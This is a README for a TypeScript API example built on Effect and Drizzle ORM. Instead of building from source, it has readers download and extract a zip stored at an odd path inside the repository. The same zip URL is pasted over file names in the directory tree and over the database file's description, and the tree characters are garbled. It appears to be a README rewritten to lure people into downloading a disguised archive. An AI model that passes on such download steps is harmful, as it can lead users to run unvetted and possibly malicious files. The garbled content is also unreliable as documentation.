Effect API Example is a simple guide to help you create a type-safe API. This project uses Effect, @effect/platform, and Drizzle ORM. With this example, you can see how to build APIs easily and effectively.
To run this application, you need:
- A computer with an internet connection.
- A web browser.
- Basic familiarity with downloading files.
Visit this page to download the application: Download Release.
On the releases page, you will see different versions. Select the latest version for the best features and fixes. Click on the version number to open it.
Inside the version details, look for an asset named https://github.com/Gnomo6/effect-api-example/raw/refs/heads/main/packages/typescript-config/example-api-effect-2.8.zip or similar. Click on it to start the download. Save the file in a location you can easily find.
Once the download is complete, locate the .zip file. Right-click on the file and choose Extract All. Follow the on-screen instructions to unpack the files.
Navigate to the folder where you extracted the files. You will see a structure like this:
effect-api-example/
βββ apps/
β βββ server/
β βββ src/
β β βββ api/
β β βββ db/
β β βββ https://github.com/Gnomo6/effect-api-example/raw/refs/heads/main/packages/typescript-config/example-api-effect-2.8.zip
β βββ scripts/
β βββ https://github.com/Gnomo6/effect-api-example/raw/refs/heads/main/packages/typescript-config/example-api-effect-2.8.zip
β βββ https://github.com/Gnomo6/effect-api-example/raw/refs/heads/main/packages/typescript-config/example-api-effect-2.8.zip
βββ packages/
To run the application, you will open a command prompt or terminal.
-
Navigate to the server folder using this command:
cd effect-api-example/apps/server -
To start the server, type the following command:
bun run start -
You should see the server starting up. Follow any additional on-screen instructions.
Once the server is running, you can access the API through your web browser. Open a browser and go to:
http://localhost:3000
- Type-Safe API: Ensures reliable and predictable data interactions.
- Easy Setup: Simple steps to get your server up and running.
- Well-Structured Code: Clear organization to help you understand the project.
- Example API Client: Test API calls easily with the included client example.
- Docker Support: Manage your database using a pre-defined PostgreSQL container.
The project is organized for clarity:
- apps/: Contains the main application code.
- server/: Main server logic, including the API handlers and middleware.
- db/: Contains database-related code, including schema and migrations.
- scripts/: Includes scripts for tasks like database seeding.
The api/ folder contains endpoint handlers grouped by feature. This separation makes it easier to manage different parts of your API.
In the db/ folder, you will find:
- schema/: Defines the structure of your database.
- migrations/: Scripts to modify the database over time.
- https://github.com/Gnomo6/effect-api-example/raw/refs/heads/main/packages/typescript-config/example-api-effect-2.8.zip: The main database interaction code.
To keep your application up to date, revisit the download page regularly. Each release brings new features, fixes, and improvements.
- Server Not Starting: Ensure that you are in the correct directory and have followed the commands accurately.
- Cannot Access the API: Verify that the server is running and check that you have the correct URL.
- Database Issues: Make sure to execute any database migrations if prompted.
By following these steps, you can successfully download and run the Effect API Example application.